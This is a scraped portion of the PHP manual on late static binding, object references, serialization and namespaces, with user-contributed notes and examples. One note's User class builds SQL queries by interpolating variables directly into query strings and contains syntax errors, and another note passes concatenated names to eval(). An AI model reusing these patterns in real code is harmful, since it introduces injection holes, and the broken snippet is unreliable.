I think this will be pretty helpful too.
My question is, can just 'static' by itself resolve to the late static class?
I ask this because it could help in making new instances of the derived class, from a base class, by calling a derived class's static method instead of having to create a new instance of the derived class - or explicitly defining a 'getClass' method for each derived class.
Example:
<?php
//There isn't really any purpose for this example I posted
//Just a random implementation
class Base {
    static function useful() {
        //Create a list of instances of the derived class
        $list=array();
        for ($i=0;$i<10;$i++) $list[]=new static(); //Here's the point in question
        return $list;
    }
}
class Derived extends Base {
    static function somethingElse() {
        //...
        $list=static::useful();
    }
}
?>
I'm not sure what kind of lexical / whatever-it's-called problems this would make with parsing. I don't think it could really collide with any contexts where you would use static otherwise - variable / method declaration.

Even more so, is there a way to get the class's name to which the keywords 'self', 'parent', or 'static' refer?
Example:
<?php
class Base {
    static function stuff() {
        echo "Self: ".get_class(self);
        echo "Parent: ".get_class(parent);
        echo "Derived: ".get_class(static);
    }
}
class Derived extends Base {
    static function stuff() {
        static::stuff();
    }
}
?>

I don't think there should be a massive bloat in the PHP core to support all of this, but it would be nice to take advantage of the dynamic nature of PHP.

And yet another side note:
If you're in the instance-level scope in a method of a base, and you want to get a top-level static, here's an ugly workaround (from Thacmus /lib/core.php - see SVN repo):
<?php
//Get reference [?] to static from class
    //$class - Class name OR object (uses get_class())
    //$var - Not gonna say
function& get_static($class,$var) { //'static_get'?
    if (!is_string($class)) $class=get_class($class);
    if (!@property_exists($class,$var)) {
        trigger_error("Static property does not exist: $class::\$$var");
        //debug_callstack(); //This is just a wrapper for debug_backtrace() for HTML
        return null;
    }
    //Store a reference so that the base data can be referred to
        //The code [[ return eval('return &'.$class.'::$'.$var.';') ]] does not work - can not return references...
        //To establish the reference, use [[ $ref=&get_static(...) ]]
    eval('$temp=&'.$class.'::$'.$var.';'); //using
    return $temp;
}
?>
tyler AT canfone [dot] COM 04-Jun-2008 10:48
@ php at mikebird

You can pass arguments to your constructor through your getInstance method, assuming you are running php5.

        public static function getInstance($params = null) {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass($params);
            }
            return self::$objInstance;
        }

This would pass the params to your constructor. Love for php.
sergei at 2440media dot com 28-May-2008 01:22
Finally we can implement some ActiveRecord methods:

<?php

class Model
{
    public static function find()
    {
        echo static::$name;
    }
}

class Product extends Model
{
    protected static $name = 'Product';
}

Product::find();

?>

Output: 'Product'
php at mikebird dot co dot uk 23-Apr-2008 08:39
This should make life easier and neater if you have a project with a lot of singleton classes e.g.

<?php

    class Singleton {

        public static $objInstance;

        public static function &getInstance() {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass;
            }
            return self::$objInstance;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    class Foo extends Singleton {

        public $intBar;

        public function __construct() {
            $this->intBar = 1;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    $objFooTwo = Foo::getInstance();
    $objFooTwo->intBar = 2;

    $objFooOne = Foo::getInstance();

    if ($objFooOne->intBar == $objFooTwo->intBar) {
        echo 'it is a singleton';
    } else {
        echo 'it is not a singleton';
    }

?>

The above will output 'it is a singleton'. The obvious downfall to this method is not being able to give arguments to the constructor.
max at mastershrimp dot com 10-Apr-2008 03:24
If you are using PHP < 5.3.0 you might be interested in the following workaround for late static binding: http://de2.php.net/manual/de/function.get-class.php#77698
Type Hinting
Objects and references
Classes and Objects


Objects and references

One of the key-points of PHP 5 OOP that is often mentioned is that "objects are passed by references by default". This is not completely true. This section rectifies that general thought using some examples.

A PHP reference is an alias, which allows two different variables to write to the same value. As of PHP 5, an object variable doesn't contain the object itself as value anymore. It only contains an object identifier which allows object accessors to find the actual object. When an object is sent by argument, returned or assigned to another variable, the different variables are not aliases: they hold a copy of the identifier, which points to the same object.

Example #1 References and Objects

<?php
class A {
    public $foo = 1;
}

$a = new A;
$b = $a;     // $a and $b are copies of the same identifier
             // ($a) = ($b) = <id>
$b->foo = 2;
echo $a->foo."\n";

$c = new A;
$d = &$c;    // $c and $d are references
             // ($c,$d) = <id>

$d->foo = 2;
echo $c->foo."\n";

$e = new A;

function foo($obj) {
    // ($obj) = ($e) = <id>
    $obj->foo = 2;
}

foo($e);
echo $e->foo."\n";

?>

The above example will output:

2
2
2

User Contributed Notes

Anonymous 23-Nov-2011 07:57
this example could help:

<?php
class A {
    public $testA = 1;
}

class B {
    public $testB = "class B";
}

$a = new A;
$b = $a;
$b->testA = 2;

$c = new B;
$a = $c;

$a->testB = "Changed Class B";

echo "<br/> object a: "; var_dump($a);
echo "<br/> object b: "; var_dump($b);
echo "<br/> object c: "; var_dump($c);

// by reference

$aa = new A;
$bb = &$aa;
$bb->testA = 2;

$cc = new B;
$aa = $cc;

$aa->testB = "Changed Class B";

echo "<br/> object aa: "; var_dump($aa);
echo "<br/> object bb: "; var_dump($bb);
echo "<br/> object cc: "; var_dump($cc);

?>
Rob Marscher 03-Feb-2011 09:33
Here's an example I created that helped me understand the difference between passing objects by reference and by value in php 5.

<?php
class A {
    public $foo = 'empty';
}
class B {
    public $foo = 'empty';
    public $bar = 'hello';
}

function normalAssignment($obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

function referenceAssignment(&$obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

$a = new A;
normalAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";

referenceAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";
echo "bar = {$a->bar}\n";

/*
prints:
A
foo = changed
B
foo = empty
bar = hello
*/
?>
Anonymous 16-Jan-2011 08:51
There seems to be some confusion here. The distinction between pointers and references is not particularly helpful.
The behavior in some of the "comprehensive" examples already posted can be explained in simpler unifying terms. Hayley's code, for example, is doing EXACTLY what you should expect it should. (Using >= 5.3)

First principle:
A pointer stores a memory address to access an object. Any time an object is assigned, a pointer is generated. (I haven't delved TOO deeply into the Zend engine yet, but as far as I can see, this applies)

2nd principle, and source of the most confusion:
Passing a variable to a function is done by default as a value pass, ie, you are working with a copy. "But objects are passed by reference!" A common misconception both here and in the Java world. I never said a copy OF WHAT. The default passing is done by value. Always. WHAT is being copied and passed, however, is the pointer. When using the "->", you will of course be accessing the same internals as the original variable in the caller function. Just using "=" will only play with copies.

3rd principle:
"&" automatically and permanently sets another variable name/pointer to the same memory address as something else until you decouple them. It is correct to use the term "alias" here. Think of it as joining two pointers at the hip until forcibly separated with "unset()". This functionality exists both in the same scope and when an argument is passed to a function. Often the passed argument is called a "reference," due to certain distinctions between "passing by value" and "passing by reference" that were clearer in C and C++.

Just remember: pointers to objects, not objects themselves, are passed to functions. These pointers are COPIES of the original unless you use "&" in your parameter list to actually pass the originals. Only when you dig into the internals of an object will the originals change.

Example:

<?php

//The two are meant to be the same
$a = "Clark Kent"; //a==Clark Kent
$b = &$a; //The two will now share the same fate.

$b="Superman"; // $a=="Superman" too.
echo $a;
echo $a="Clark Kent"; // $b=="Clark Kent" too.
unset($b); // $b divorced from $a
$b="Bizarro";
echo $a; // $a=="Clark Kent" still, since $b is a free agent pointer now.

//The two are NOT meant to be the same.
$c="King";
$d="Pretender to the Throne";
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByValue($c, $d);
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByRef($c, $d);
echo $c."\n"; // $c=="Pretender to the Throne"
echo $d."\n"; // $d=="King"

function swapByValue($x, $y){
$temp=$x;
$x=$y;
$y=$temp;
//All this beautiful work will disappear
//because it was done on COPIES of pointers.
//The originals pointers still point as they did.
}

function swapByRef(&$x, &$y){
 $temp=$x;
 $x=$y;
 $y=$temp;
 //Note the parameter list: now we switched 'em REAL good.
}

?>
Hayley Watson 29-Mar-2010 07:21
Using &$this can result in some weird and counter-intuitive behaviour - it starts lying to you.

<?php

class Bar
{
    public $prop = 42;
}

class Foo
{
    public $prop = 17;
    function boom()
    {
        $bar = &$this;
        echo "\$bar is an alias of \$this, a Foo.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

        echo "\n";

        $bar = new Bar;
        echo "\$bar has been made into a new Bar.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

    }
}

$t = new Foo;
$t->boom();
?>
In the above $this claims to be a Bar (in fact it claims to be the very same object that $bar is), while still having all the properties and methods of a Foo.

Fortunately it doesn't persist beyond the method where you committed the faux pas.
<?php
echo get_class($t), "\t", $t->prop;
?>
miklcct at gmail dot com 07-Jan-2010 01:34
Notes on reference:
A reference is not a pointer. However, an object handle IS a pointer. Example:
<?php
class Foo {
  private static $used;
  private $id;
  public function __construct() {
    $id = $used++;
  }
  public function __clone() {
    $id = $used++;
  }
}

$a = new Foo; // $a is a pointer pointing to Foo object 0
$b = $a; // $b is a pointer pointing to Foo object 0, however, $b is a copy of $a
$c = &$a; // $c and $a are now references of a pointer pointing to Foo object 0
$a = new Foo; // $a and $c are now references of a pointer pointing to Foo object 1, $b is still a pointer pointing to Foo object 0
unset($a); // A reference with reference count 1 is automatically converted back to a value. Now $c is a pointer to Foo object 1
$a = &$b; // $a and $b are now references of a pointer pointing to Foo object 0
$a = NULL; // $a and $b now become a reference to NULL. Foo object 0 can be garbage collected now
unset($b); // $b no longer exists and $a is now NULL
$a = clone $c; // $a is now a pointer to Foo object 2, $c remains a pointer to Foo object 1
unset($c); // Foo object 1 can be garbage collected now.
$c = $a; // $c and $a are pointers pointing to Foo object 2
unset($a); // Foo object 2 is still pointed by $c
$a = &$c; // Foo object 2 has 1 pointers pointing to it only, that pointer has 2 references: $a and $c;
const ABC = TRUE;
if(ABC) {
  $a = NULL; // Foo object 2 can be garbage collected now because $a and $c are now a reference to the same NULL value
} else {
  unset($a); // Foo object 2 is still pointed to $c
}
mjung at poczta dot onet dot pl 15-Aug-2009 10:25
Ultimate explanation to object references:
NOTE: wording 'points to' could be easily replaced with 'refers ' and is used loosly.
<?php
$a1 = new A(1);  // $a1 == handle1-1 to A(1)
$a2 = $a1;     // $a2 == handle1-2 to A(1) - assigned by value (copy)
$a3 = &$a1;  // $a3 points to $a1 (handle1-1)
$a3 = null;      // makes $a1==null, $a3 (still) points to $a1, $a2 == handle1-2 (same object instance A(1))
$a2 = null;      // makes $a2 == null
$a1 = new A(2); //makes $a1 == handle2-1 to new object and $a3 (still) points to $a1 => handle2-1 (new object), so value of $a1 and $a3 is the new object and $a2 == null
//By reference:
$a4 = &new A(4);  //$a4 points to handle4-1 to A(4)
$a5 = $a4;   // $a5 == handle4-2 to A(4) (copy)
$a6 = &$a4;  //$a6 points to (handle4-1), not to $a4 (reference to reference references the referenced object handle4-1 not the reference itself)

$a4 = &new A(40); // $a4 points to handle40-1, $a5 == handle4-2 and $a6 still points to handle4-1 to A(4)
$a6 = null;  // sets handle4-1 to null; $a5 == handle4-2 = A(4); $a4 points to handle40-1; $a6 points to null
$a6 =&$a4; // $a6 points to handle40-1
$a7 = &$a6; //$a7 points to handle40-1
$a8 = &$a7; //$a8 points to handle40-1
$a5 = $a7;  //$a5 == handle40-2 (copy)
$a6 = null; //makes handle40-1 null, all variables pointing to (hanlde40-1 ==null) are null, except ($a5 == handle40-2 = A(40))
?>
Hope this helps.
Aaron Bond 19-Jun-2009 06:08
I've bumped into a behavior that helped clarify the difference between objects and identifiers for me.

When we hand off an object variable, we get an identifier to that object's value.  This means that if I were to mutate the object from a passed variable, ALL variables originating from that instance of the object will change.

HOWEVER, if I set that object variable to new instance, it replaces the identifier itself with a new identifier and leaves the old instance in tact.

Take the following example:

<?php
class A {
    public $foo = 1;
}

class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A $bar)
    {
        $bar = new A;
    }
}

$f = new A;
$g = new B;
echo $f->foo . "\n";

$g->foo($f);
echo $f->foo . "\n";

$g->bar($f);
echo $f->foo . "\n";

?>

If object variables were always references, we'd expect the following output:
1
42
1

However, we get:
1
42
42

The reason for this is simple.  In the bar function of the B class, we replace the identifier you passed in, which identified the same instance of the A class as your $f variable, with a brand new A class identifier.  Creating a new instance of A doesn't mutate $f because $f wasn't passed as a reference.

To get the reference behavior, one would have to enter the following for class B:

<?php
class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A &$bar)
    {
        $bar = new A;
    }
}
?>

The foo function doesn't require a reference, because it is MUTATING an object instance that $bar identifies.  But bar will be REPLACING the object instance.  If only an identifier is passed, the variable identifier will be overwritten but the object instance will be left in place.
Ivan Bertona 15-Oct-2008 08:45
A point that in my opinion is not stressed enough in the manual page is that in PHP5, passing an object as an argument of a function call with no use of the & operator means passing BY VALUE an unique identifier for that object (intended as instance of a class), which will be stored in another variable that has function scope.

This behaviour is the same used in Java, where indeed there is no notion of passing arguments by reference. On the other hand, in PHP you can pass a value by reference (in PHP we refer to references as "aliases"), and this poses a threat if you are not aware of what you are really doing. Please consider these two classes:

<?php
class A
{
    function __toString() {
        return "Class A";
    }
}

class B
{
    function __toString() {
        return "Class B";
    }
}
?>

In the first test case we make two objects out of the classes A and B, then swap the variables using a temp one and the normal assignment operator (=).

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = $b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

As expected the script will output:

$a: Class B
$b: Class A

Now consider the following snippet. It is similar to the former but the assignment $a = &$b makes $a an ALIAS of $b.

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = &$b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

This script will output:

$a: Class A
$b: Class A

That is, modifying $b reflects the same assignment on $a... The two variables end pointing to the same object, and the other one is lost. To sum up is a good practice NOT using aliasing when handling PHP5 objects, unless your are really really sure of what you are doing.
lazybones_senior 30-Sep-2008 06:57
WHOA... KEEP IT SIMPLE!

In regards to secure_admin's note: You've used OOP to simplify PHP's ability to create and use object references. Now use PHP's static keyword to simplify your OOP.

<?php

class DataModelControl {
  protected static $data = 256; // default value;
  protected $name;

  public function __construct($dmcName) {
    $this->name = $dmcName;
  }

  public static function setData($dmcData) {
    if(is_numeric($dmcData)) {
      self::$data = $dmcData;
    }
  }

  public function __toString() {
    return "DataModelControl [name=$this->name, data=" . self::$data . "]";
  }
}

# create several instances of DataModelControl...
$dmc1 = new DataModelControl('dmc1');
$dmc2 = new DataModelControl('dmc2');
$dmc3 = new DataModelControl('dmc3');
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';

# To change data, use any DataModelControl object...
$dmc2->setData(512);
# Or, call setData() directly from the class...
DataModelControl::setData(1024);
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';
?>

 DataModelControl [name=dmc1, data=256]
 DataModelControl [name=dmc2, data=256]
 DataModelControl [name=dmc3, data=256]

 DataModelControl [name=dmc1, data=1024]
 DataModelControl [name=dmc2, data=1024]
 DataModelControl [name=dmc3, data=1024]

... even better! Now, PHP creates one copy of $data, that is shared amongst all DataModelControl objects.
secure_admin 30-Sep-2008 04:38
USE OOP to ACCESS OBJECT REFERENCES

The PHP language itself offers a slew of nifty operators that can copy, clone, and alias objects and references in many ways. But that kind of syntax looks rather fearsome. Here, I use OOP to get the same results, but with cleaner and more practical code. Below, one DataModel object is instantiated so that many instances of DataControl can use and alter it. Regardless of how PHP works, the OOP styled setup keeps all DataControl instances "on the same page" because they are all looking at the "same model" - which this code clearly shows.

<?php

class DataModel {
  protected $name, $data;

  public function __construct($dmName, $dmData) {
    $this->name = $dmName;
    $this->setData($dmData);
  }

  public function setData($dmData) {
    if(is_numeric($dmData)) {
      $this->data = $dmData;
    }
  }

  public function __toString() {
    return "DataModel [name=$this->name, data=$this->data]";
  }
}

class DataControl {
  protected $name, $model;

  public function __construct($dcName, $dcModel) {
    $this->name = $dcName;
    $this->model = $dcModel;
  }

  public function setData($dmData) {
    $this->model->setData($dmData);
  }

  public function __toString() {
    return "DataController [name=$this->name, model=" . $this->model->__toString() . "]";
  }
}

# create one instance of DataModel...
$model = new DataModel('dm1', 128);
echo $model . '<br><br>';

# create several instances of DataControl, passing $model to each one...
$dc1 = new DataControl('dc1', $model);
$dc2 = new DataControl('dc2', $model);
$dc3 = new DataControl('dc3', $model);
echo $dc1 . '<br>';
echo $dc2 . '<br>';
echo $dc3 . '<br><br>';

# To change data, use any $dataControl->setData()...
$dc3->setData(512);

echo $dc1 . '<br>';
echo $dc2 . '<br>';
echo $dc3 . '<br><br>';

?>
 * * * output * * *
DataModel [name=dm1, data=128]

DataController [name=dc1, model=DataModel [name=dm1, data=128]]
DataController [name=dc2, model=DataModel [name=dm1, data=128]]
DataController [name=dc3, model=DataModel [name=dm1, data=128]]

DataController [name=dc1, model=DataModel [name=dm1, data=512]]
DataController [name=dc2, model=DataModel [name=dm1, data=512]]
DataController [name=dc3, model=DataModel [name=dm1, data=512]]
wbcarts at juno dot com 30-Sep-2008 01:23
A BIT DILUTED... but it's alright!

In the PHP example above, the function foo($obj), will actually create a $foo property to "any object" passed to it - which brings some confusion to me:
  $obj = new stdClass();
  foo($obj);    // tags on a $foo property to the object
                // why is this method here?
Furthermore, in OOP, it is not a good idea for "global functions" to operate on an object's properties... and it is not a good idea for your class objects to let them. To illustrate the point, the example should be:

<?php

class A {
  protected $foo = 1;

  public function getFoo() {
    return $this->foo;
  }

  public function setFoo($val) {
    if($val > 0 && $val < 10) {
      $this->foo = $val;
    }
  }

  public function __toString() {
    return "A [foo=$this->foo]";
  }
}

$a = new A();
$b = $a;                        // $a and $b are copies of the same identifier
                                // ($a) = ($b) = <id>
$b->setFoo(2);
echo $a->getFoo() . '<br>';

$c = new A();
$d = &$c;                       // $c and $d are references
                                // ($c,$d) = <id>
$d->setFoo(2);
echo $c . '<br>';

$e = new A();
$e->setFoo(16);                 // will be ignored
echo $e;

?>
 - - -
 2
 A [foo=2]
 A [foo=1]
 - - -
Because the global function foo() has been deleted, class A is more defined, robust and will handle all foo operations... and only for objects of type A. I can now take it for granted and see clearly that your are talking about "A" objects and their references. But it still reminds me too much of cloning and object comparisons, which to me borders on machine-like programming and not object-oriented programming, which is a totally different way to think.
Late Static Bindings
Object Serialization
Classes and Objects


Object Serialization

Serializing objects - objects in sessions

serialize() returns a string containing a byte-stream representation of any value that can be stored in PHP. unserialize() can use this string to recreate the original variable values. Using serialize to save an object will save all variables in an object. The methods in an object will not be saved, only the name of the class.

In order to be able to unserialize() an object, the class of that object needs to be defined. That is, if you have an object of class A and serialize this, you'll get a string that refers to class A and contains all values of variables contained in it. If you want to be able to unserialize this in another file, an object of class A, the definition of class A must be present in that file first. This can be done for example by storing the class definition of class A in an include file and including this file or making use of the spl_autoload_register() function.

<?php
// classa.inc:

  class A {
      public $one = 1;

      public function show_one() {
          echo $this->one;
      }
  }

// page1.php:

  include("classa.inc");

  $a = new A;
  $s = serialize($a);
  // store $s somewhere where page2.php can find it.
  file_put_contents('store', $s);

// page2.php:

  // this is needed for the unserialize to work properly.
  include("classa.inc");

  $s = file_get_contents('store');
  $a = unserialize($s);

  // now use the function show_one() of the $a object.
  $a->show_one();
?>

If an application is using sessions and uses session_register() to register objects, these objects are serialized automatically at the end of each PHP page, and are unserialized automatically on each of the following pages. This means that these objects can show up on any of the application's pages once they become part of the session. However, the session_register() is removed since PHP 5.4.0.

It is strongly recommended that if an application serializes objects, for use later in the application, that the application include the class definition for that object throughout the application. Not doing so might result in an object being unserialized without a class definition, which will result in PHP giving the object a class of __PHP_Incomplete_Class_Name, which has no methods and would render the object useless.

So if in the example above $a became part of a session by running session_register("a"), you should include the file classa.inc on all of your pages, not only page1.php and page2.php.

User Contributed Notes

wbcarts at juno dot com 20-Dec-2009 12:39
PHP OBJECT SERIALIZATION

I use a database to store info rather than storing PHP Objects themselves. However, I find that having a PHP Object acting as an interface to my db is way useful. For example, suppose I have a TABLE called 'user' that looks like this.

CREATE TABLE user {
  user_id MEDIUMINT UNSIGNED NOT NULL AUTO_INCREMENT,
  user_first VARCHAR(24) NOT NULL,
  user_last VARCHAR(24) NOT NULL,
  PRIMARY KEY (user_id)
);

Then I would create a PHP Class definition like so:

<?php

require('includes/db_connect.php');

class User
{
  protected $user_id;
  protected $user_first;
  protected $user_last;

  public function __construct($id, $first, $last)
  {
    $this->user_id = $id;
    $this->user_first = $first;
    $this->user_last = $last;
  }

  # FUNCTIONS TO RETRIEVE INFO - DESERIALIZE.
  public static function db_user_by_id($dbc, $id)
  {
    $query = "SELECT * FROM user WHERE user_id=$id LIMIT 1";
    return User::db_select($dbc, $query);
  }

  public static function db_user_by_name($dbc, $first, $last)
  {
    $query = "SELECT * FROM user WHERE user_first='$first' AND user_last='$last' LIMIT 1";
    return User::db_select($dbc, $query);
  }

  protected static function db_select($dbc, $query);
  {
    $result = mysqli_query($dbc, $query);
    if(mysqli_num_rows($result) > 0)
    {
      $row = mysqli_fetch_array($result, MYSQLI_NUM);
      return new User($row[0], $row[1], $row[2]);
    }
  }

  # FUNCTIONS TO SAVE INFO - SERIALIZE.
  public function insert($dbc)
  {
    $query = "INSERT INTO user VALUES (NULL, '$this->user_first', '$this->user_last')";
    $result = mysqli_query($dbc, $query);
  }

  public function update($dbc)
  {
    $query = "UPDATE user SET user_first='$this->user_first', user_last='$this->user_last' WHERE user_id=$this->id LIMIT 1";
    $result = mysqli_query($dbc, $query);
  }

  # GETTER and SETTER FUNCTIONS - DO NOT ALLOW SETTING OF ID
  public function getId() {return $this->user_id;)
  public function getFirst() {return $this->user_first;)
  public function getLast() {return $this->user_last;)
  public function setFirst($first) {$this->user_first = $first;}
  public function setLast($last) {$this->user_last = $last;}

  # CUSTOM FUNCTIONS
  public function getFullName() {return $this->user_first . ' ' . $this->user_last;}
  public function getLastFirst() {return $this->user_last . ', ' . $this->user_first;}
}

?>

Using PHP Objects for SERIALIZATION and DESERIALIZATION is now super-easy, for example:

<?php

require('User.php');

// INSERT a new user.
$user = new User(0, 'Frank', 'American');
$user->insert($dbc);  // done!

// UPDATE an existing user.
$user = User::db_user_by_id($dbc, 223);
$user->setFirst('Johnny');
$user->update($dbc);  // done!

mysqli_close($dbc);

?>
php at lanar dot com dot au 18-Oct-2009 04:47
Note that static members of an object are not serialized.
Objects and references
OOP Changelog
Classes and Objects


OOP Changelog

Changes to the PHP 5 OOP model are logged here. Descriptions and other notes regarding these features are documented within the OOP 5 documentation.

Version | Description
5.4.0 | Changed: If an abstract class defines a signature for the constructor it will now be enforced.
5.3.3 | Changed: Methods with the same name as the last element of a namespaced class name will no longer be treated as constructor. This change doesn't affect non-namespaced classes.
5.3.0 | Changed: Classes that implement interfaces with methods that have default values in the prototype are no longer required to match the interface's default value.
5.3.0 | Changed: It's now possible to reference the class using a variable (e.g., echo $classname::constant;). The variable's value can not be a keyword (e.g., self, parent or static).
5.3.0 | Changed: An E_WARNING level error is issued if the magic overloading methods are declared static. It also enforces the public visibility requirement.
5.3.0 | Changed: Prior to 5.3.0, exceptions thrown in the __autoload() function could not be caught in the catch block, and would result in a fatal error. Exceptions now thrown in the __autoload function can be caught in the catch block, with one proviso. If throwing a custom exception, then the custom exception class must be available. The __autoload function may be used recursively to autoload the custom exception class.
5.3.0 | Added: The __callStatic method.
5.3.0 | Added: heredoc and nowdoc support for class const and property definitions. Note: heredoc values must follow the same rules as double-quoted strings, (e.g., no variables within).
5.3.0 | Added: Late Static Bindings.
5.3.0 | Added: The __invoke() method.
5.2.0 | Changed: The __toString() method was only called when it was directly combined with echo() or print(). But now, it is called in any string context (e.g. in printf() with %s modifier) but not in other types contexts (e.g. with %d modifier). Since PHP 5.2.0, converting objects without a __toString method to string emits a E_RECOVERABLE_ERROR level error.
5.1.3 | Changed: In previous versions of PHP 5, the use of var was considered deprecated and would issue an E_STRICT level error. It's no longer deprecated, therefore does not emit the error.
5.1.0 | Changed: The __set_state() static method is now called for classes exported by var_export().
5.1.0 | Added: The __isset() and __unset() methods.

User Contributed Notes

There are no user contributed notes for this page.
Object Serialization
Namespaces
Classes and Objects


Namespaces

Table of Contents

  • Namespaces overview
  • Defining namespaces
  • Declaring sub-namespaces
  • Defining multiple namespaces in the same file
  • Using namespaces: Basics
  • Namespaces and dynamic language features
  • namespace keyword and __NAMESPACE__ constant
  • Using namespaces: Aliasing/Importing
  • Global space
  • Using namespaces: fallback to global function/constant
  • Name resolution rules
  • FAQ: things you need to know about namespaces

User Contributed Notes

Anonymous 25-May-2011 11:06
The keyword 'use' has two different applications, but the reserved word table links to here.

It can apply to namespace constucts:

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use animate;
  echo \feline\Cat::says(), "<br />\n";
  echo \canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>

Note that
felineCat::says()
should be
\feline\Cat::says()
(and similar for the others)
but this comment form deletes the backslash (why???)

The 'use' keyword also applies to closure constructs:

<?php function getTotal($products_costs, $tax)
    {
        $total = 0.00;

        $callback =
            function ($pricePerItem) use ($tax, &$total)
            {

                $total += $pricePerItem * ($tax + 1.0);
            };

        array_walk($products_costs, $callback);
        return round($total, 2);
    }
?>
netmosfera at gmail dot com 21-Apr-2011 11:09
for example, if you use a lot of .php files (once per class) you need to know that require() a lot of files will slow down consistently the page load

so you can use namespaces + autoload to implement package-specific initialization handlers

i used this to put an entire package (lot of classes) in one php file

!!! please note you can't use this as-is but you need to adapt it to your project

the file __init.php is placed inside every namespace/folder you want to load
there you can startup your namespace, check for environment, debugging, or as i do, you can merge all the package in one php file and require it to load other classes too.

<?php

class Loader
{
    // here we store the already-initialized namespaces
    private static $loadedNamespaces = array();

    static function loadClass($className)
    {
        // we assume the class AAA\BBB\CCC is placed in /AAA/BBB/CCC.php
        $className = str_replace(array('/', '\\'), \DIRECTORY_SEPARATOR, $className);

        // we get the namespace parts
        $namespaces = explode(\DIRECTORY_SEPARATOR, $className);
        unset($namespaces[sizeof($namespaces)-1]); // the last item is the classname

        // now we loops over namespaces
        $current=""; foreach($namespaces as $namepart)
        {
            // we chain $namepart to parent namespace string
            $current.='\\' . $namepart;
            // skip if the namespace is already initialized
            if(in_array($current, self::$loadedNamespaces)) continue;
            // wow, we got a namespace to load, so:
            $fnload = $current . \DIRECTORY_SEPARATOR . "__init.php";
            if(file_exists($fnload)) require($fnload);
            // then we flag the namespace as already-loaded
            self::$loadedNamespaces[] = $current;
        }

        // we build the filename to require
        $load = $className . ".php";
        // check for file existence
        !file_exists($load) ?: require($load);
        // return true if class is loaded
        return class_exists($className, false);
    }
    static function register()
    {
        spl_autoload_register("Loader::loadClass");
    }
    static function unregister()
    {
        spl_autoload_unregister("Loader::loadClass");
    }
}

Loader::register();

?>
OOP Changelog
Namespaces overview
Language Reference


Namespaces overview

(PHP 5 >= 5.3.0)

What are namespaces? In the broadest definition namespaces are a way of encapsulating items. This can be seen as an abstract concept in many places. For example, in any operating system directories serve to group related files, and act as a namespace for the files within them. As a concrete example, the file foo.txt can exist in both directory /home/greg and in /home/other, but two copies of foo.txt cannot co-exist in the same directory. In addition, to access the foo.txt file outside of the /home/greg directory, we must prepend the directory name to the file name using the directory separator to get /home/greg/foo.txt. This same principle extends to namespaces in the programming world.

In the PHP world, namespaces are designed to solve two problems that authors of libraries and applications encounter when creating re-usable code elements such as classes or functions:

  1. Name collisions between code you create, and internal PHP classes/functions/constants or third-party classes/functions/constants.
  2. Ability to alias (or shorten) Extra_Long_Names designed to alleviate the first problem, improving readability of source code.

PHP Namespaces provide a way in which to group related classes, interfaces, functions and constants. Here is an example of namespace syntax in PHP:

Example #1 Namespace syntax example

<?php
namespace my\name; // see "Defining Namespaces" section

class MyClass {}
function myfunction() {}
const MYCONST = 1;

$a = new MyClass;
$c = new \my\name\MyClass; // see "Global Space" section

$a = strlen('hi'); // see "Using namespaces: fallback to global
                   // function/constant" section

$d = namespace\MYCONST; // see "namespace operator and __NAMESPACE__
                        // constant" section
$d = __NAMESPACE__ . '\MYCONST';
echo constant($d); // see "Namespaces and dynamic language features" section
?>

Note:

Namespace names PHP and php, and compound names starting with these names (like PHP\Classes) are reserved for internal language use and should not be used in the userspace code.

User Contributed Notes

Anonymous 14-Jul-2011 04:14
PHP Namespaces do not only provide a way in which to group related classes, functions and constants, but also a way in which to group related classes, interfaces, functions and constants.
Dmitry Snytkine 31-May-2011 06:54
Just a note: namespace (even nested or sub-namespace) cannot be just a number, it must start with a letter.
For example, lets say you want to use namespace for versioning of your packages or versioning of your API:

namespace Mynamespace\1;  // Illegal
Instead use this:
namespace Mynamespace\v1; // OK
SteveWa 27-Feb-2011 08:45
Thought this might help other newbies like me...

Name collisions means:
you create a function named db_connect, and somebody elses code that you use in your file (i.e. an include) has the same function with the same name.

To get around that problem, you rename your function SteveWa_db_connect  which makes your code longer and harder to read.

Now you can use namespaces to keep your function name separate from anyone else's function name, and you won't have to make extra_long_named functions to get around the name collision problem.

So a namespace is like a pointer to a file path where you can find the source of the function you are working with
Namespaces
